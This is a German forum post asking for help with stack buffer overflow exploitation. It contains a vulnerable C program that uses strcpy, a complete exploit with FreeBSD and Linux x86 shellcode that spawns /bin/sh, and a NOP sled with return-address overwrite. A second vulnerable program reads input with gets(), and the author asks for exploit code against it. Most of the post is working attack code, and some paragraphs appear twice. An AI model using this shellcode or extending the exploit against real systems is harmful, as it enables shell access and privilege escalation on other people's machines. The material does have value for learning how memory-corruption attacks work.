Hallo zusammen,
Habe da ein Problem, und zwar seht ihr unten ein Beispiel Programm das über die strcpy() Funktion, einen string bis zu 500 Zeichen einlesen kann dieser dann in buffer gespeichert wird. Wenn ich nun mehr als 500 + 4 + 4 Bytes eingebe, überschreibt nun der Buffer den ESP und die Return Adresse, ist ja klar, da die strycpy() keine Bereichsgrenz Überprüfung hat, also man übers Ziel hinausschreiben kann. Dieses Programm liesst aber den String über die Argumente beim Programmstart ein, folgender maßen ist nun auch das Exploit unter diesem Programm aufgebaut. Der rets, nops und den shellcode in die Variable Buffer schreibt und dieser als Argument bei dem Programm übergeben wird. Als folge eröffnet sich dann ja eine Shell unter den Rechten unter dem das "vulnerable" Programm läuft.
Ist so weit eigentlich klar.
Nun ist aber das Problem das ich nicht genau weis, wie ich ein Programm exploiten kann, wenn der Buffer nicht über ein Kommandozeilen Parameter gefüllt wird, sonder mitten im Programm nach einem String abgefragt und dieser in den Buffer kopiert wird. Wie soll ich den manipulierten Buffer(rets, nops, shellcode) dem Programm übergeben?
Wenn einer eine Idee hat, wäre ich für ein bischen Beispiel Code sehr Dankbar, aber so für jede Hilfe!
Danke
Habe da ein Problem, und zwar seht ihr unten ein Beispiel Programm das über die strcpy() Funktion, einen string bis zu 500 Zeichen einlesen kann dieser dann in buffer gespeichert wird. Wenn ich nun mehr als 500 + 4 + 4 Bytes eingebe, überschreibt nun der Buffer den ESP und die Return Adresse, ist ja klar, da die strycpy() keine Bereichsgrenz Überprüfung hat, also man übers Ziel hinausschreiben kann. Dieses Programm liesst aber den String über die Argumente beim Programmstart ein, folgender maßen ist nun auch das Exploit unter diesem Programm aufgebaut. Der rets, nops und den shellcode in die Variable Buffer schreibt und dieser als Argument bei dem Programm übergeben wird. Als folge eröffnet sich dann ja eine Shell unter den Rechten unter dem das "vulnerable" Programm läuft.
Code:
/* vulnerable.c */
int main(int argc, char *argv[])
{
char buffer[500];
if(argc>=2) strcpy(buffer, argv[1]);
return 0;
}
Code:
/* exploit.c */
#include <stdlib.h>
#define BUFFERSIZE 600 /* vulnerable buffer + 100 bytes */
/* shellcode for freebsd (*bsd?) */
char bsdshell[] = \"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\"
\"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53\"
\"\xb0\x3b\x50\xcd\x80\";
/* linux x86 shellcode */
char lunixshell[] = \"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0\"
\"\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd\"
\"\x80\xe8\xde\xff\xff\xff/bin/sh\";
unsigned long sp(void)
{
__asm__(\"movl %esp, %eax\");
}
void usage(char *cmd)
{
printf(\"\nusage: %s <offset> <os>\n\n\", cmd);
printf(\"OS types are: 1. FreeBSD (*bsd?) 2. Linux\n\n\");
exit(-1);
}
int main(int argc, char *argv[])
{
int i, offset, os;
long esp, ret, *addr_ptr;
char *buffer, *ptr, *osptr;
if(argc<3) usage(argv[0]); /* quit if they didnt specify an offset */
offset = atoi(argv[1]); /* get the offset they specified */
esp = sp(); /* get the stack pointer */
ret = esp-offset; /* sp - offset = return address */
os = atoi(argv[2]); /* get os */
if(os<1 || os>2) usage(argv[0]);
printf(\"Stack pointer: 0x%x\n\", esp);
printf(\" Offset: 0x%x\n\", offset);
printf(\" Return addr: 0x%x\n\", ret);
/* allocate memory for our buffer */
if(!(buffer = malloc(BUFFERSIZE))) {
printf(\"Couldn't allocate memory.\n\");
exit(-1);
}
/* fill buffer with ret addr's */
ptr = buffer;
addr_ptr = (long *)ptr;
for(i=0; i<BUFFERSIZE; i+=4)
*(addr_ptr++) = ret;
/* fill first half of buffer with NOPs */
for(i=0; i<BUFFERSIZE/2; i++)
buffer[i] = '\x90';
/* insert shellcode in the middle */
if(os == 1) {
ptr = buffer + ((BUFFERSIZE/2) - (strlen(bsdshell)/2));
for(i=0; i<strlen(bsdshell); i++)
*(ptr++) = bsdshell[i];
} else {
ptr = buffer + ((BUFFERSIZE/2) - (strlen(lunixshell)/2));
for(i=0; i<strlen(lunixshell); i++)
*(ptr++) = lunixshell[i];
}
/* call the vulnerable program passing our exploit buffer as the argument */
buffer[BUFFERSIZE-1] = 0;
execl(\"./vulnerable\", \"vulnerable\", buffer, 0);
return 0;
}
Ist so weit eigentlich klar.
Nun ist aber das Problem das ich nicht genau weis, wie ich ein Programm exploiten kann, wenn der Buffer nicht über ein Kommandozeilen Parameter gefüllt wird, sonder mitten im Programm nach einem String abgefragt und dieser in den Buffer kopiert wird. Wie soll ich den manipulierten Buffer(rets, nops, shellcode) dem Programm übergeben?
Code:
/* vulnerable2.c */
#include <stdio.h>
int main(void)
{
char name[264];
printf(\"Gebe deinen Namen ein: \");
gets(name); // oder scanf(\"%s\", &name)
printf(\"Dein Name ist: %s\",name);
}
Wenn einer eine Idee hat, wäre ich für ein bischen Beispiel Code sehr Dankbar, aber so für jede Hilfe!
Danke